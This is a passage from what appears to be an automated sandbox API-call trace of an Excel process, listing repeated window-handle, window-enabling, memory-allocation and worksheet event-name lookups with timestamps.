nIndex=-6) returned 0x0 [0207.229] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0207.229] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0207.229] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0207.229] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0207.229] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0207.229] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0207.229] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0207.229] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0207.229] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0207.229] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0207.229] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0207.229] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0207.230] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0207.230] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0207.230] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0207.230] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0207.230] IsWindowEnabled (hWnd=0x202b0) returned 0 [0207.230] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0207.230] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0207.230] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0207.230] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0207.230] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0207.230] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0207.230] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0207.230] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0207.230] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0207.230] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0207.230] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0207.230] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0207.230] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0207.230] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0207.230] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0207.231] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0207.231] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0207.231] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0207.231] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0207.231] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0207.231] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0207.231] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1bc80 [0207.231] IMalloc:Free (This=0x7feffc15380, pv=0xbe1bc80) [0210.385] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x52000000c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x52000000c0) returned 0x0 [0210.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0210.385] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0210.385] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0210.385] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0210.386] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0210.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0210.386] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0210.386] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0210.386] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0210.395] GetCurrentThreadId () returned 0x8fc [0210.395] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0210.395] GetDesktopWindow () returned 0x10010 [0210.395] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0210.395] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0210.395] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0210.395] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0210.395] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0210.395] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0210.395] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0210.395] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0210.395] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0210.395] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0210.396] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0210.396] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0210.396] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0210.396] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0210.396] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0210.396] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0210.396] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0210.396] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0210.396] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0210.396] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0210.396] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0210.396] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0210.396] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0210.396] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0210.396] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0210.396] IsWindowEnabled (hWnd=0x202b0) returned 1 [0210.396] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0210.396] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0210.396] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0210.397] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0210.397] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0210.397] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0210.397] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0210.397] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0210.397] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0210.397] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0210.397] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0210.397] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0210.397] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0210.397] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0210.397] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0210.397] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0210.397] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0210.397] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0210.397] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0210.397] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0210.397] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0210.398] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe19560 [0210.398] IMalloc:Free (This=0x7feffc15380, pv=0xbe19560) [0210.790] GetAsyncKeyState (vKey=27) returned 0 [0210.790] GetCurrentThreadId () returned 0x8fc [0210.790] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0210.790] GetDesktopWindow () returned 0x10010 [0210.790] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0210.790] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0210.790] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0210.791] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0210.791] GetWindowLongPtrA (hWnd=0x1302e6, nIndex=-6) returned 0x7feef2c0000 [0210.791] GetWindowLongPtrA (hWnd=0x1302e6, nIndex=-6) returned 0x7feef2c0000 [0210.791] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0210.791] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0210.791] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0210.791] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0210.791] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0210.791] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0210.791] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0210.791] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0210.791] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0210.791] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0210.791] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0210.791] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0210.792] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0210.792] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0210.792] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0210.792] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0210.792] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0210.792] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0210.792] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0210.792] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0210.792] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0210.792] IsWindowEnabled (hWnd=0x202b0) returned 0 [0210.792] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0210.792] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0210.792] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0210.792] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0210.792] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0210.792] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0210.792] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0210.792] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0210.792] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0210.793] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0210.793] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0210.793] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0210.793] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0210.793] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0210.793] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0210.793] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0210.793] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0210.793] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0210.793] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0210.793] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0210.793] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0210.793] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1bc80 [0210.793] IMalloc:Free (This=0x7feffc15380, pv=0xbe1bc80) [0213.923] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5200000197 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5200000197) returned 0x0 [0213.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0213.923] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0213.923] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0213.923] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0213.924] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0213.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0213.924] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0213.924] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0213.924] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0213.960] GetCurrentThreadId () returned 0x8fc [0213.960] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0213.960] GetDesktopWindow () returned 0x10010 [0213.960] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0213.960] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0213.960] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0213.960] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0213.960] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0213.960] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0213.960] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0213.960] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0213.961] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0213.961] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0213.961] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0213.961] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0213.961] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0213.961] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0213.961] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0213.961] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0213.961] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0213.961] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0213.961] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0213.961] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0213.961] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0213.961] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0213.961] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0213.961] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0213.961] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0213.961] IsWindowEnabled (hWnd=0x202b0) returned 1 [0213.961] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0213.961] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0213.961] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0213.962] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0213.962] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0213.962] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0213.962] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0213.962] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0213.962] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0213.962] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0213.962] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0213.962] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0213.962] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0213.962] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0213.962] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0213.962] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0213.962] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0213.962] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0213.962] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0213.962] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0213.962] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0213.963] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe19140 [0213.963] IMalloc:Free (This=0x7feffc15380, pv=0xbe19140) [0214.335] GetAsyncKeyState (vKey=27) returned 0 [0214.335] GetCurrentThreadId () returned 0x8fc [0214.335] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0214.335] GetDesktopWindow () returned 0x10010 [0214.335] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0214.335] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0214.335] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0214.335] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0214.335] GetWindowLongPtrA (hWnd=0x21021c, nIndex=-6) returned 0x7feef2c0000 [0214.335] GetWindowLongPtrA (hWnd=0x21021c, nIndex=-6) returned 0x7feef2c0000 [0214.335] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0214.335] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0214.336] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0214.336] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0214.336] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0214.336] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0214.336] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0214.336] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0214.336] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0214.336] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0214.336] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0214.336] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0214.336] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0214.336] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0214.337] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0214.337] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0214.337] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0214.337] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0214.337] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0214.337] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0214.337] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0214.337] IsWindowEnabled (hWnd=0x202b0) returned 0 [0214.337] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0214.337] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0214.337] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0214.337] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0214.337] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0214.337] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0214.337] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0214.337] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0214.337] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0214.337] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0214.337] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0214.338] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0214.338] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0214.338] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0214.338] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0214.338] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0214.338] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0214.338] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0214.338] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0214.338] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0214.338] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0214.338] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1bc80 [0214.338] IMalloc:Free (This=0x7feffc15380, pv=0xbe1bc80) [0217.550] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x520000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x520000026e) returned 0x0 [0217.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0217.550] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0217.550] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0217.550] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0217.551] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0217.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0217.551] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0217.551] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0217.551] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0217.561] GetCurrentThreadId () returned 0x8fc [0217.561] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0217.561] GetDesktopWindow () returned 0x10010 [0217.562] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0217.562] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0217.562] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0217.562] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0217.562] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0217.562] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0217.562] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0217.562] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0217.562] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 